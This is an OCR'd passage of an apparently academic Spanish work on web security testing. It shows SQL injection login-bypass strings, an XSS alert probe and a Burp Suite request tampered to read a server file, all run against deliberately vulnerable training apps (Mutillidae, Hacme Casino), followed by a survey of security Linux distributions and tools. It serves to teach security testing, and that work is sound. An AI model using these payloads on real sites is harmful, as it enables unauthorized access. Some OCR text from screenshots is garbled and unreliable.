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Hemos Entrado como Admin, que es el primer usuario que hay:

@i OWASP Mutillidae Il: Web Pwn in Mass Production

Version: 2.6.25 Security Level: 0 (Hosed) Hints: Enabled (1 - 5cript K1dd1e) Logged In Admin: admin (g0t r00t?)

Figura 156. Mutillidae. SQL Injection. Acceso como usuario admin.

Nos deslogamos, y probamos a entrar como usuario ‘admin’ inyectando
codigo SQL en el campo password, para ello en primer lugar cambiamos
el codigo de la pagina web para cambiar el tipo de entrada de password
a input y la longitud a 200 caracteres para poder meter sentencias
largas de codigo SQL.

»
Username o
Password [ or (1=1and usemame ='admin’) |
L

onsola @ Depurador | [# Editor de esti.. | () Rendimiento T Red

thody tr td blockquote div¥id-log-in-form-div > form#idLoginForm table thody tr n input

<EFSC/Er>
<tr></tr>
<tr>

<td class="label™></td>

<input type="input" size="200" name="password" sqlinjectionpoint="1" title="">¢/input>
</td>
<«/tr>
<tra>¢/tr>
<trs</tr>

Figura 157. Mutillidae. SQL Injection. Modificacion cédigo HTML.

Introducimos la sentencia SQL  ‘or (1=1 and username="admin’)-- en
campo password del formulario.

Y conseguimos nuevamente logarnos como usuario ‘admin’ sin saber la
contrasena:

% OWASP Mutillidae Il: Web Pwn in Mass Production

Version: 2.6.25 Security Level: 0 (Hosed) Hints: Enabled (1 - 5cript K1dd1e) Logged In Admin: admin (g0t r00t?)

Figura 158. Mutillidae. SQL Injection. Login como admin.
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4.4.2.2 XSS
Nos vamos a un formulario disponible, este caso DNS LooKup

@4 OWASP Mutillidae Il: Web Pwn in Mass Production

Version: 2.6.25 Security Level: 1 (Client-side Security) Hints: Enabled (2 - Noobh)

Home Logout Hide Popup Hints Toggle Security Enforce SSL Reset DB View Log View Captured Data

Logged In Admin: admin (g0t

OWASP 2013 I A1 - Injection (SQL)
Al - Injection (Other)

A2 - Broken Authentication and
OWASP 2007 Session Management ¢ Help Me!

OWASP 2010

Web Services | A3 - Cross Site Scripting (XSS) Reflected (First Order) » | DNS Lookup

A4 - Insecure Direct Object Persistent (Second Order) » | Pen Test Tool Lookup
References

DOM Injection P | Text File Viewer
Via "Input" (GET/POST) » | User Info (SQL)
A6 - Sensitive Data Exposure

Documentation ! Via HTTP Headers » ‘ Set Background Color

A7 - Missing Function Level Access ) »
Resources Control Via HTTP Attribute » | HTML5 Storage

Others A5 - Security Misconfiguration

A8 - Cross Site Request Forgery Via Misconfiguration » i Capture Data Page
ﬁh (CSRF) Against HTML 5 Storage » | Document Viewer
| / ezh;el.lrzigi%ﬁceosmponents with Known Against ISON »

Getting Started:

Project Whitepape g3 URRVIEIT EIER BTG TEE S 1
Forwards Via XML Injection } | User Info (XPath)

Via XPath Injection » i Poll Question

Arbitrary File Inclusion

Via Cookie Injection » ‘ XML Validator

Mozill Via Path Relative Style Sheet } | Register User
127.0.0.1 Injection |
| Browser Info

Release BeeF Framework Targets » ‘
Announcements . " . | Those "Back" Buttons
127.001 127.001 Mozilla/5.0 (Windows NT 6.3; WOW64) Ap

(KHTML, like Gecko) Chrome/44.0.2403. 1 i ik

127.0.0.1

Figura 159. Mutillidae. XSS. Menu DNS Lookup

Al introducir en Hostname/ip el valor <script> alert (‘vulnerable XSS’)
</script>, obtenemos el siguiente resultado:

Figura 160. Mutillidae. Ataque XSS.

Lo que nos confirma que la pagina es vulnerable a XSS.
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4.4.2.3 Insecure Direct Object References

Este ataque se aprovecha de que la aplicacion web da acceso a ciertos
objetos que se encuentran almacenados en el servidor. Este ataque se
basa en interceptar y cambiar el parametro que apunta al objeto, y
modificarlo para acceder a un objeto al que el usuario no esta autorizado
a entrar. Para interceptar la peticion POST de la pagina y cambiar el
parametro usaremos la aplicacion Burp Suite.

OWASP 2013 Al - Injection (SQL)

Al - Injection {Other)

OWASP 2010

A2 - Broken Authentication and
OWASP 2007 Session Management

Web Services A3 - Cross Site Scripting (XSS5)

A4 - Insecure Direct Object Text File Viewer
References -
Source Viewer
Others AS - Security Misconfiguration .
Credits
- A6 - Sensitive Data Exposure
Documentation P Cookies
A7 - Missing Function Level Acce

Resources Control

Arbitrary File Inclusion

A8 - Cross Site Request Forgery
@ (CSRF)

A9 - Using Components with Known For other great old

i
Getting Started: RSNl

Project Whitepape
d pap A10 - Unvalidated Redirects and 4 ym/hacking/atms
Forwards

1 WiCh Choc norcosmerTesnscontinent the being the worlds bigo

Figura 161. Mutillidae. Insecure Direct Object References.

En Mutillidae seleccionamos el texto que queremos visualizar:

Take the time to read some of these great old school hacker text files.
Just choose one form the list and submit.

Text File Name | intrusion Detection in Computers by Victor H. Marshall (January 29, 1991)
View File

For other great old school hacking texts, check out http:/iwww textfiles.com/ .

File: http:/lwww textfiles.com/hacking/atms

With the Horth Emerican continent the being the worlds biggest
consumer of goods and services liquidity of the banking system has
become an important factor in our everyday lives. Savings accounts
were used by people to keep money safe and used by the banks to
provide money for loans. However, due to '"Bankers Hours' (10 ZM to
3 PM) it was often difficult for people to get access to thier
money when they needed it.

Figura 162. Mutillidae. Seleccidn de texto a visualizar.
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Interceptamos la peticion POST con Burp Suite

euU HO Burp Suite Free Edition v1.6 RS
I."’ (3 @ Burp Intruder Repeater Window Help

f

\_[ Intercept T HTTP history TWebSockets history T Options ]

Intruder T Repeater T Sequencer T Decoder T Comparer T Extender T Options Tnler‘ts TCoZ

Target Proxy Spider Scanner

| [EJ Request to http://imutillidae:80 [127.42.84.6]

l Forward J l Drop J [ Intercept is on | Action =_= @
Ver Raw .Params Headers | Hex : :

POST /index.php?page=text-file-viewer.php HTTP/1.1 i

-

Host: mutillidae

| User-Agent: Mozilla/5.0 (¥11; Ubuntu; Linux 1686; rv:33.0) Gecko/20100101 Firefox/33.0
'Accept: text/html, application/xhtml+xml, application/xml; q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://mutillidae/index.php?page=text-file-viewer.php

Cookle: PHPSESSID=dc4Skgdgebekrirdilibuprrgo; showhints=0

Connection: keep-alive

Content-Type: application/x-www-form-urlencoded

Content-Length: 101

ton=View+File

ﬂ textfile=http%s30%2Fs2Fwww. textfl les. coms2Fhacking%s2Fatms&text-file-viewer-php-submit-but

=
q v

Waiting £ [ZJ EJ EJ EJ Tvpe a search term 0 matches
B E¢c@ 2 ¥ = @ 5 e (Re B ONE 5 s

Figura 163. Mutillidae. Intercepcion de la peticion con Burp Suite.

A continuacion, cambiamos el valor de ‘textfile’, incluyendo el nombre del
objeto que queramos visualizar, y paramos la intercepcion para que la
peticion llegue a su destino, y la pagina web visualice el objeto.

lr o/ Burp Suite Free Edition v1.6 ) &) &
Burp Intruder Repeater Window Help

Intruder I Repeater T Sequencer T Decoder T Comparer T Extender T Options TAIer‘ts ICoz

Target Froxy Spider Scanner

J Intercept T HTTP history TWebSockets histary T Options ]

(#] Request to http: /mutillidac: 80 [127.42.84.6]

[ Forward J [ Drop J [ Intercept is on | Action Comment this item

Raw | Params | Headers | Hex

POST /index.php?page=text-file-viewer.php HTTP/1.1

Host: mutillidae

User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux 1686; rv:33.0) Gecko/20100101 Firefox/33.0
Accept: text/html,application/xhtml+xml, application/xml;q=0.9,%/*;q=0.8
Accept-Language: en-US,en;g=0.5

Accept-Encoding: gzip, deflate

Referer: http://mutillidae/index.php?page=text-file-viewer.php

Cookie: PHPSESSID=dc4Skqdgbekrirdiljbuprrgo; showhints=0

Connection: keep-alive

Content-Type: application/x-www-form-urlencoded

Content-Length: 101

-n
=g |

textfile=index.php&text-file-viewer-php-submit-button=View+File

Figura 164. Mutillidae. Modificacion de la peticion.
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Una vez modificada la peticion, cesamos la intercepcion y dejamos

continuar la peticion, entonces se nos muestra el archivo ‘index.php’ en
la web:

- Mazila Firefox
§ hetp/fmutil. e-viewerphp % | 4

# € @ mutilidae e@Eve ® @@y O ®v B $ =

®% OWASP Mutillidae 11: Web Pwn in Mass Production

Version: 2.6.10 Security Level: 0 (Hosed) Hints: Disabled (0 - | try harder)

Not Logged In
Home Login/Register Toggle Hints Toggle Security Reset DB View Log View Captured Data Hide Popup Hints Enforce SSL

[
(.

Take the time to read some of these great old school hacker text files.

Just choose one form the list and submit.

Text File Name Intrusion Detection in Computers by Victor H. Marshall (January 25, 1991) v

Hacker Files of Old )

i For other great old school hacking texts, check out http://www.textfiles.com/ .
Getting Started: File: index.php
Project geténcoder()
Whitepaper §_SESSION("Objects”][*ESAPIRandomizer*] = S SESSION["Qbjects®]["ESAPIHandler*]->getRandomazer();
Wi end if

7/ Set up an aliss by reference so object can be referenced in menory without copying
SESAPT = &8 SESSION[ *Objects” | ["ESAPTHandler" ] ;
SEncoder = &5_SESSIONI “Objects” ] ["ESAPIEncader™ ];

SESAPTRandomizer = &5_SESSION|"0bjects”] [ "ESAPIRandomizer];
Release s
Announcements SESAPT = new ESAPT("owasp-esapi-php/src/ESAPT. L")
SEncoder - SESAPL->getEnceder ()
$ESAPIRandomizer = SESAPT->getRandomizer();
Yfou ”
Video
function handleError(Sermo, Serrstr, Serrfile, Serrline, array Serrcontext){
Tutorials I -
- restore error handler(): ~
B_WgE @ 3 achivenmanager E Bumsute Free Editionvi6 - Home A Firefox A Kensole ® System Monkor

NG s =10k

Figura 165. Mutillidae. Visualizacion del archivo ‘index.php’
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4.5. Foundstone Hacme Books

Foundstone Hacme Books?® es una plataforma de aprendizaje para el
desarrollo de software seguro, esta dirigido a los desarrolladores de software, y
a las auditorias de seguridad, y en general, a cualquier persona interesada en
la seguridad de las aplicaciones web.

Foundstone®® fue creada en 1999 por George Kurtz, Chris Prosige, Gary
Bahadur, y William Chan. La empresa principalmente proporcionaba servicios
de consultoria de seguridad de la informacion y mas tarde creo el producto de
gestion de vulnerabilidades de Foundstone Enterprise. En 2004 Foundstone fue
adquirida por McAfee, y los productos de FoundStone son ofrecidos por
McAfee como productos de pruebas gratuitos.

Los servicios de la empresa se dividen en cinco categorias:

¢ Respuesta de incidentes y analisis forense: se ocupa de la investigacion,
evaluacion, y la contencion de los ataques informaticos y los brotes de
malware.

e Evaluaciones de infraestructura: la evaluacion de la seguridad de redes
y sistemas para identificar el software de configuracion vy
vulnerabilidades.

e Software de evaluaciones de seguridad: la identificacion de las
vulnerabilidades de hardware y software a través de la caja negra,
blanca y gris.

e Desarrollo de programas y riesgos: el desarrollo de programas de
seguridad de la informacion, las politicas y procedimientos. También se
incluye dentro de estos servicios las evaluaciones de riesgos de la
seguridad de la informacion.

e Formacion en hacking ético, respuesta a incidentes y analisis forense y
seguridad del software.

FoundStone Hacme Books representa escenarios del mundo real y demuestra
los problemas de seguridad que potencialmente pueden surgir en las
aplicaciones Web.

La serie Hacme son un conjunto de aplicaciones tematicas, cuyo codigo de
forma deliberada tiene multitud de vulnerabilidades web, para poder probar
nuestros conocimientos sobre seguridad web, dentro de esta serie, tenemos los
siguientes aplicativos web:

¢ Hacme Casino.

e Hacme Shipping.
¢ Hacme Travel.

e Hacme Bank.

% http://www.mcafee.com/es/downloads/free-tools/hacmebooks.aspx
26 https://en.wikipedia.org/wiki/Foundstone
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4.5.1. Instalacién de Foundstone

Para instalar Foundstone tenemos que ir a la pagina de descargas de McAfee,
previamente, tenemos que aceptar con todas las obligaciones de la licencia de
McAfee?’. McAfee pone a nuestra disposicion la pagina de su comunidad,
Security Awareness?8, por si tuviéramos algun problema durante la instalacion.
Hacme Casino soélo se encuentra disponible para el sistema operativo Windows
XP y versiones posteriores. No estd disponible para Linux. Para realizar la
instalacion y ejecutar la aplicacion no necesitamos ningun requisito especial,
como servidores apache, mysql, aunque Hacme Travel requiere Microsoft SQL
Server 2000 Desktop Engine

Una vez descargado, descomprimimos el archivo HacmeCasinoSetup.exe y lo
ejecutamos, previa advertencia de que Hacme Casino es vulnerable a varios
fallos de seguridad y nos es conveniente su instalacion en sistemas en
produccion.

Foundstone Hacme Casinio v1.0 has several security
vulnerabilities purposefully introduced to allow users
to attempt real exploits and demonstrate the design
and coding decisions that led to those vulnerabilities.
Use of Hacme Casino can cause system compromise
and Foundstone accepts no liability for the same. We

strongly advise users not to use the application on
production systems.

Cancel Mullsoft Inskall Syskem w2, 18 < Back

Figura 166. Hacme Casino. Instalacion.

27 http://www.mcafee.com/es/downloads/free-tools/termsofuse.aspx?url=Downloadinstaller

28 https://community.mcafee.com/community/security
I —
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Una vez instalado ejecutamos el servidor de Hacme y el cliente:

n ] Hacme Casino Server START

nd_div_top_2.gif?1440323832 HTTP-1.1" 280 1323

http://localhost :3888 -> Ainages-swebsround_div_top 2 gif?14468323832

127.8.8.1 — — [23/0ug-2815:11:57:53 Hora de verano romancel “GET ~images- webh-sgip
1_green.gif 71448323832 HTITP-1.1" 288 356%2

thttp:/slocalhost :3800 —> simagesswebrsgirl_green.gif 71440323832

127.8.8.1 — - [23/0ug-2015:11:57:53 Hora de verano romancel “"GET ~images. web-srou
nd_div_hottom_2.gif 71448323832 HITP-1.1" 2088 27%

http:/slocalhost :3800, —> simagesswebsround_div_bottom_2 . gif 71448323832
127.8.8.1 — - [23/0ug-2815:11:57:53 Hora de verano romancel “GET ~images- weh-hlal
ckjack. jpg?1448323832 HTTP-1.1" 2808 38760

http:/~localhost 3888 -> simages~-webrsblackjack. jpg?1448323832

127.8.8.1 — — [23/Aug-2815:11:57:53 Hora de verano romancel “GET ~images-wehspok
er.jpg?144@323832 HTIP-1.1" 208 42406

http:--localhost 38808 —> images-webspoker_ jpg?1446323832

127.8.8.1 — - [23/0ug-2015:11:57:53 Hora de verano romancel "GET ~images.web.,bor
der.gif HTTP-1.1" 280 18454

thttp:/“localhost :388B/stylezsheets/standard.css714408323832 -> Ainagessuwebh-sborder.

oy if

127.A.8.1 — — [23/0ug-2015:11:57:53 Hora de verano romancel "GET ~images. weh/rou
lette.jpy?1448323832 HTTP-1.1" 28@ 5523A

http:-slocalhost 3880 —-> images- web-sroulette. jpg71448323832

12?.Big.%aa a [23-Aug-2815:11:57:53 Hora de verano romancel] "GET ~fawicon.ico HT
http;//lucalhust=3EBE/ -» sfavicon.ico

Figura 167. Hacme Casino. Arranque Hacme Casino.

Y desde el navegador nos vamos a localhost:3000

B-oEN

Hacme Casino x % \

& C [} localhost:3000

Please login

Login: /8 § b Welcome to HacmeCasino, the best Gambling Site
\ on the Net

Password: Here at HacmeCasino, we aim to provide the best user experience

on the web. Using Web 2.0-friendly technologies like AJAX,
HacmeCasino is a state of the art online gaming experience that
LOGIN B § R has to be tried to be believed. Try your hand at poker, or take a
<< Register ] ' spin at the roulette wheel. Rest assured that HacmeCasino will
give you the most entertaining, enjoyable, and secure user

experience available online.

Fancy some blackjack? Howdy, pardner! Poker is all the Round and round it goes...
HacmeCasino has you covered, rage, and HacmeCasino is ready Roulette is a game for novices

wiith the most exciting, high- to serve your online gaming and experts alike to let go and
stakes blackjack game this side of needs, providing a state of the art have some fun. Take life for a

the computer monitor! Fun for all! online poker experience. spin, and let it ride at

HacmeCasino!

Figura 168. Hacme Casino. Pdgina inicio.
I ——
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4.5.2 Utilidades de Hacme

A continuacion pasamos a probar los ataques mas significativos en esta web
vulnerable. Al igual que BadStore, en Hacme Casino tenemos que buscar los

formularios vulnerables.

4.5.2.1 SQL Injection

Probamos a logarnos sin saber los datos de acceso, inyectando codigo
SQL, metemos la sentencia “'or 1=1)—*

€ > C [3localhost:3000

Please login

Login:

Password:
I
LOGIN

<< Register

‘.1
3
3
N

A ES I

I A EH Y,

HACME CASINO

Welcome to HacmeCasino, the best Gambling Site

IS S I

I 1/ 83

Figura 169. Hacme Casino. SQL Injection. Login.

Hemos conseguido entrar como el usuario ‘andy_aces’, que debe de ser
el primer usuario de la tabla de usuarios.

[ Hacme Casino

«

Player Profile
e

1 )49

Login: andy_aces

Name: Andy Aces
Chips: 0

Click on a picture to see a room list

Blackjack Roulette

Figura 170. Hacme Casino. SQL Injection. Login andy_aces.

José Carlos Novella Roman
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4.5.2.2. XSS
La pagina es vulnerable a XSS en el apartado de ‘Singup’. Probamos la
vulnerabilidad insertando un script en el campo ‘First name’

Login has already been
taken

Signup

Desired login:
usuariol
Choose password:

Confirm password:
First name:

Last name:
usu

REGISTER

<< lLogin

Figura 171. Hacme Casino. XSS. Formulario.

Obtenemos el resultado esperado:

& X | [ localhost:3000/lobby/games
Mensaje de la pagina localhost:3000:
vulnerable X558

T

| t; Player Profile

Login: usuariel

N Name:  usu

Figura 172. Hacme Casino. Vulnerable XSS.
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Capitulo 5. Distribuciones y Herramientas de apoyo

A continuacion vemos las herramientas imprescindibles, sin las cuales no
hubiéramos podido hacer los andlisis de vulnerabilidad, tenemos dos grupos
principales, las distribuciones y las herramientas de apoyo.

5.1. Distribuciones o Live CD

Las distribuciones Live CD o Live DVD, son un sistema operativo que se
encuentra almacenado en un medio extraible, pudiendo ser este un CD, un
DVD o una memoria USB. Quizas el nombre mas correcto sea el de
distribuciones, que le hace independiente del soporte que la contiene. Esto nos
permite que se puede ejecutar en la computadora directamente, sin necesidad
de realizar instalaciones, ni alterar el sistema operativo previo que estuviera
instalado. Segun la necesidad que tengamos, auditorias de vulnerabilidades
web, seguridad de redes, pruebas de penetracion, monitoreo de accesos no
autorizados, abusos, alteraciones o denegacion de servicios de red, etc.,
podemos usar una distribucion u otra, lo cual nos da una gran versatilidad, sin
necesidad de invertir en equipos potentes.

También es habitual, si el equipo es potente, tener instalado una herramienta
de virtualizacion, como puede ser VMWare Inc. u Oracle VM. Esto nos da la
ventaja, que desde una maquina anfitriona, podamos crear maquinas virtuales
con los “.iso’ de las distribuciones, permitiendo en todo momento que podamos
seguir usando nuestros archivos y programas que usemos habitualmente en la
maquina anfitriona, y no tener que ir cargados con una colecciéon de CD o DVD
que lleven la distribucidon que podemos necesitar en un momento concreto.

Otra de la gran ventaja de las distribuciones, es que suelen traer una
recopilacion de programas, ya instalados y configurados, de gran utilidad para
el objetivo final del Live CD, que nos ahorrara mucho tiempo, ya que nos
evitara tener que realizar instalaciones de multiples programas.

Existe una gran variedad de distribuciones, no sélo por finalidad, si no por
sistemas operativos, teniendo Live CD para los siguientes sistemas operativos:

e Basados en Apple.

e Basados en BSD.

e Basados en Linux.

e Basados en Microsoft Windows.
e Basados en DOS.

e Otros.

Las distribuciones usadas para seguridad, a excepcion de ‘BlackBSD’ de BSD,
y quizdas ‘Hiren’s boot CD’, para Windows, son todas basadas en Linux.
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El mundo de las distribuciones es muy activo, y continuamente estan saliendo
nuevas distribuciones, en la pégina distrowatch.com podemos consultar las
novedades.

Entre las distribuciones basadas en Linux mas importantes podemos citar?®:

e Network Security Toolkit (NST): estd basada en Fedora, es un Live CD
equipado con herramientas de andlisis de seguridad de redes,
programas de validacion y monitoreo. Su principal objetivo es proveer a
los administradores de red una distribuciéon con un completo juego de
herramientas de seguridad de codigo abierto.

NST esta equipado con una avanzada interfaz de usuario web, que nos
permite  configurar las aplicaciones de seguridad y redes,
automatizacion, y otras tareas. Dispone de un capturador de paquetes y
un sistema de analisis de protocolos que permite monitorear mas de

cuatro interfaces de red usando Wireshark.
NST Fluxbox Menu

Security Applications

etho
292

Lock Screen

el
IEmT
We| 220

Figura 173. Captura NST.

e Pento: distribucién creada principalmente para pruebas de penetracion y
asesoria de seguridad. Est4 basada en Gentoo, disponible para 32 y 64
bits. Incluye controladores inalambricos mejorados con inyeccion de
paquetes, GPGPU cracking software y multitud de herramientas para
pruebas de penetracion

2 http://gfsistemasinformatica.blogspot.com.es/2013/07/10-distros-gnulinux-para-hacking-y.html
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LJ 5, a
File Edt View Terminal Tabs Help

d st o
€ applications Actions. 5 6l @ [[@Terminal 2). Sl = ThuFeb 17, 16:56 # ) 5B, Al

Figura 174. Captura Pentoo.

e nUbuntu: es un Ubuntu precargado con herramientas de seguridad para
redes y servidores. Dispone de aplicaciones conocidas como nmap,
dSniff, Ettercap y Wireshark. Su principal finalidad es ser una plataforma
de pruebas de seguridad, permitiendo a los usuarios avanzados sacar
una gran cantidad de funcionalidades como distribucién de escritorio.

3 nubuntu

Start or install nUbuntu

Figura 175. Captura nubuntu.
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e STD: Security Tools Distribution, también conocida como Knoppix STD,
es una version personalizada de Knoppix orientada a usuarios
profesionales que manejan con cierta habilidad la consola de comandos.
STD incluye un gran numero de herramientas de seguridad y
administracion de redes, muchas de ellas orientadas a la encriptacion,
herramientas de penetracién, herramientas de andlisis forense,
detectores de intrusion, ‘sniffers’, herramientas de Wireless y password
crackers.

Figura 176. Captura STD.

e Helix: basada en Ubuntu, esta especialmente disefiado para el andlisis
de sistemas, recuperaciéon de datos, auditoria de seguridad y respuesta
a incidentes. Puede ejecutarse en Linux Mode, o en Windows Mode,
ejecutandose en Windows como una aplicacion mas. Estd orientada
para usuarios avanzados y para administradores de redes de datos.

@ Applications Places System @ (7)) & & wed Dec 17, 11:19 AM @
_}, Accessories

€ Forensics &R » & Adepto

_'5 Graphics » @Au(opsy
+) Internet »| [ eless Hex Editor
g Office » 3 GtkHash

B sound & video  » | [T] HFS Volume Browser

Encase Linen

System Tools » - Linen

@ Meld Diff viewer

=) AddRemove...

Ophcrack

Registry Viewer

@ Retriever
-

u Root Terminal
¥y Virus Scanner
n Wireshark (root)

+3, Xfprot

| e

Figura 177. Captura Helix.
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e Damm Vulnerable Linux (DVL): esta basa en Slackware y Slax. Es una
distribucion plenamente educativa, cargada de programas con
vulnerabilidades, dafiados, desconfigurados, desactualizados y con
exploit. Su finalidad es prevenir los fallos de seguridad mas importantes,
como seguridad de redes, explotacion web, inyeccion SQL,
vulnerabilidades de kernel, etc.

All Applications - 7‘_\‘

D Camn Vulnerabie Linux b &] Ethical Hacking Damn Vulnerable Linux
@® BeRestaxed B D Training Matenal Binary Exploitation 1S9

. €] Sinary Exlot DDisecase
] Services » §] Development ") Web Exploitation W Web Exploitation Package 01
4 VLC Media Player ) Tools ¥ ] Reverse Code Engineering ¥ §] Web Exploitation Package 02
24 wink ] Valuable Websites * ] Coding » W WebScanab
24 xviacap (%] Start WebGont Port 80
N Screenshot

o Start WebGoat Port 8080
>iAcrocead W Start WebGont Frontend (Port 80)

£} Find Files/Folders W Start WebGoat Frontend (Port B080)

o TrueCrypt

Actions

o8 Stop WebGoat

= Webgoat+WebScarab Manual
s Run Command

w Lock Session

& Log Out

X

Figura 178. Captura DVL.

e Wifislax: es una distribucion GNU/Linux orientada a la auditoria de la
seguridad y relacionada con la con la seguridad informética en general.
Incluye gran cantidad de herramientas de seguridad y auditoria
preparadas para ser utilizadas de inmediato por cualquier usuario, entre
las que destacan numerosos escaneres de puertos, sniffers,
herramientas para analisis forense y herramientas de auditoria Wireless.
Esta herramienta se ha vuelto muy popular entre el gran publico,
desconocedores de sus consecuencias legales, para averiguar las
contrasefias de las redes WiFis cercanas.

(fislax

d ng)/nném @aged Cg!gtem

alrcrackag
0

¥esajld= 3= & 11:55

Figura 179. Captura Wifislax.
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e Wifiway: distribucion GNU/Linux pensada y diseflada para la auditoria
de seguridad de las redes WiFi, Bluetooth y RFID. Se distribuye en
varias versiones basadas en Ubuntu, Debian u OpenSuse, y con los
entornos de escritorio KDE, GNOME o Xfce. Sus herramientas estan
orientadas al analisis de redes.

e ine AT Oy 2onoror [] ()

Figura 180. Captura Wifiway.

e BackBox: basada en Ubuntu, esta disefiada especificamente para tares
vinculadas a seguridad de redes, analisis forense, ingenieria inversa,
reportes, etc. Podemos encontrar herramientas como ettercap, John the
Ripper, Metasploit, Nmap, Wireshark y muchas mas.

Esta version viene con Xfce 4.8, kernel Linux 2.6.38 y est4 basado en
Ubuntu.

) B 1y mar,23jul 0832

Ve
+ @ Web Application

3SACK30X

Figura 181. Captura BackBox.
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Dentro de las distribuciones, merecen especial mencion la distribucion Samurai
y KaliLinux, muy usadas para auditorias de vulnerabilidades Web y auditorias
de red. Dada su importancia, pasamos a verlas con mas detalle, viendo los
programas que traen y sus funciones.

5.1.1. Samurai

Samurai es una distribucion Linux, la ultima version es de Mayo de 2015. Es la
distribucién que hemos usado para realizar los Pen-Testing de DVWA, ya que
incluye todas las herramientas que necesitabamos.

Samurai es un entorno de trabajo GNU/Linux que ha sido configurado para
funcionar como un entorno integrado para probar las vulnerabilidades web.

e

Damn Vulnerable WebA... X | o
A € Aiwm Now@) v ® W Qv #2v » = ntruder Repeater Window Help
\ | sequencer ecode
D@ arge o
»” S =
Filter

Welcome to Damn Vulnerable Web A

Instructions Dar PHP/
an

Setup de
tea

Brute Force WARNING!

o ey Damn Vulnerable Web A}
arns intoemest tarinewoh

samurai (samurai) on samuraiwtf kubuntu® !
@8 Search: |

General 5

Pay R

SQL »

Xss %

HTTP://WWW.SAMURAI-WTF.ORQG
< 4 |- 90
Favorites. Applications Computer Recently Used Leave
Q_=mfe Archive Manager B Burp Suite Free Edition v1.6

Figura 182. Captura Samurai.

Samurai incluye todas las herramientas necesarias para realizar las cuatro
fases de un Pen-Testing, que son:

e Reconocimiento.

o Fierce domain Scanner: es una herramienta de DDoS, no es una
herramienta de escaneo. Su finalidad es localizar posibles
objetivos dentro y fuera de la red corporativa.

o Maltego: es una herramienta que determina las relaciones y
enlaces entre el mundo real y las personas, redes sociales,
empresas, organizaciones, sitios web, infraestructura web, etc.
Maltego proporciona una interfaz grafica que hace ver estas
relaciones de forma facil y precisa. Maltego es facil y rapido de
instalar, ya que se ejecuta sobre java.
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e Mapeo.

o WebScarab: esta escrito en java, y se usa como proxy de
intercepcion, permitiendo revisar y modificar las peticiones
creadas por el navegador antes de que sean enviados al servidor.

o Ratproxy: es una herramienta de google de codigo abierto que
realiza varias pruebas de seguridad para detectar
vulnerabilidades como XSS, scripts cross-domain y problemas
con el cache.

e Descubrimiento vulnerabilidades.

o W3af®: es un framework de test de intrusién web, desarrollado

por Python, bajo licencia GPLv2, con la finalidad de escanear
vulnerabilidades. Su ventaja es que permite automatizar todas las
tareas repetitivas de Pen-Test. Dispone de los plugins Discovery,
audit, grep, attack, output, mangle, evasion y bruteforce. Los
plugins trabajan de forma continua, enviando su salida a la
entrada del siguiente plugin hasta que no se localicen peticiones
fuzeables o no se pueda afinar mas la busqueda de las
fucionalidades de las siguientes busquedas. Muchos de estos
meétodos pueden considerarse explotaciones tacticas.
Los plugins obtienen informacion analizando dom en busca de
form actions, descubrimiento de métodos HTTP soportados,
ficheros con informacion interesante en path predecibles,
informacion de buscadores, HTTP load balancer detection,
archive.org.

o Burp Suite®!: es una aplicaciéon integrada para la realizaciéon de
las pruebas de seguridad de aplicaciones web. Esta formado por
un conjunto de herramientas perfectamente integradas, que dan
soporte al proceso completo de pen-Testing, desde el mapeo al
analisis, intercepcion de solicitudes y explotacion de
vulnerabilidades.

Burp Suite contiene los siguientes componentes:

e Un interceptador del trafico entre la pagina y el proxy, que
permite inspeccionar y modificar las comunicaciones.
e Un spider para el rastreo de contenido y funcionalidad.

30 https://www.owasp.org/images/b/b5/W3af_owasp_spain_iv.pdf
31 https://portswigger.net/burp/
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e Un web scanner para automatizar la deteccion de niumeros
tipos de vulnerabilidades.

e Un repetidor para manipular y volver a enviar peticiones
individuales.

e Un secuenciador de herramientas para probar la
aleatoriedad de tokens de sesion

e Extensibilidad, que permite desarrollar plugins para
necesidades concretas.

e Permite guardar el trabajo realizado en las diferentes
sesiones.

e Explotacion.

o BeEF®*2: es una herramienta bastante Gtil y completa para
automatizar los ataques XSS contra clientes de aplicaciones
vulnerables. Se basa en vectores de ataque XSS clasicos de
forma automatizada, controlando Beef todas las victimas de este
tipo de ataque, permitiendo ejecutar los diferentes payloads
contra el objetivo, capturando informacién sobre el obijetivo,
ademas de capturar informacién sobre la victima, tales como
sistema operativo utilizado, navegador, direccion IP, cookies, etc.

o AjaxShell; es una consola de comandos desarrollado por Ironfist.
Es un simple script PHP que permite ejecutar comandos con
facilidad.

La distribucién también contiene herramientas de ayuda, como un wiki y una
lista para ser usada como bitacora de recoleccion de la informacion que vamos
generando a medida que avanzamos en el proceso de Pen-Testing. Esta
herramienta se encuentra en continuo desarrollo y se ha migrado
completamente a Ruby.

32 http://thehackerway.com/2011/05/24/automatizando-ataques-xss-utilizando-beef/
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5.1.2. KaliLinux

KaliLinux3® es una distribucién basada en Debian GNU/Linux disefiada para
facilitar las tareas de auditoria y seguridad informatica. KaliLinux es una
evolucion de  BackTrack, desarrollado por la empresa Offensive Security Ltd.
Surge para resolver los problemas de lentitud que tenia Backtrack, ya que a
pesar de ser la mejor distribucion, muchos usuarios la estaban abandonando
por sus problemas de lentitud, consecuencia directa del gran numero de
aplicaciones que incluye.

Aplicaciones ¥ Lugares ¥ mar 20:46

Q Escribir para buscar...

4

"
'

-
N
x

Frecuentes

Figura 183. Captura KaliLinux

Kali Linux trae preinstalados mas de 600 programas, destacan por su
importancia Nmap, Wireshark, John the Ripper y la suite Aircrack-ng.

Es posible la instalacién de Kali Linux sobre arquitecturas i386, amd64 y ARM.
Kali Linux se puede instalar usando un DVD, un USB, a través de la red, y
usando maquinas virtuales prefabricadas de VMWare.

Es posible instalara KaliLinux en cualquier ordenador, como maquina virtual, y
a diferencia del resto, se puede instalar en dispositivos Android. Todos los
paquetes de Kali Linux estan firmados por sus desarrolladores.

33 https://www.kali.org/
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Kali Linux trae mas de 300 herramientas®4, de los siguientes tipos:

e Herramientas DNS
o Analisis DNS.
o ldentificacion Host.
o Escaneres de Red.
e Deteccion Sistema Operativo (OS Fingerprinting).
e Herramientas Osint (Essential OSINT Tools for Social Engineering).
e Analisis SNMP.
e Andlisis SSL.
e Analisis de Tréfico.
e Andlisis de VOIP.
e Analisis VPN.
e Andlisis vulnerabilidades.
¢ Andlisis de Base de Datos (SQL).
e Herramientas Fuzzing (Fuerza Bruta).
¢ |dentificacion de CMS.
e Proxys.
¢ Herramientas Web.
e Herramientas GPU.
e Herramientas Off-line.
¢ Herramientas On-line
e Ataques Bluetooth.
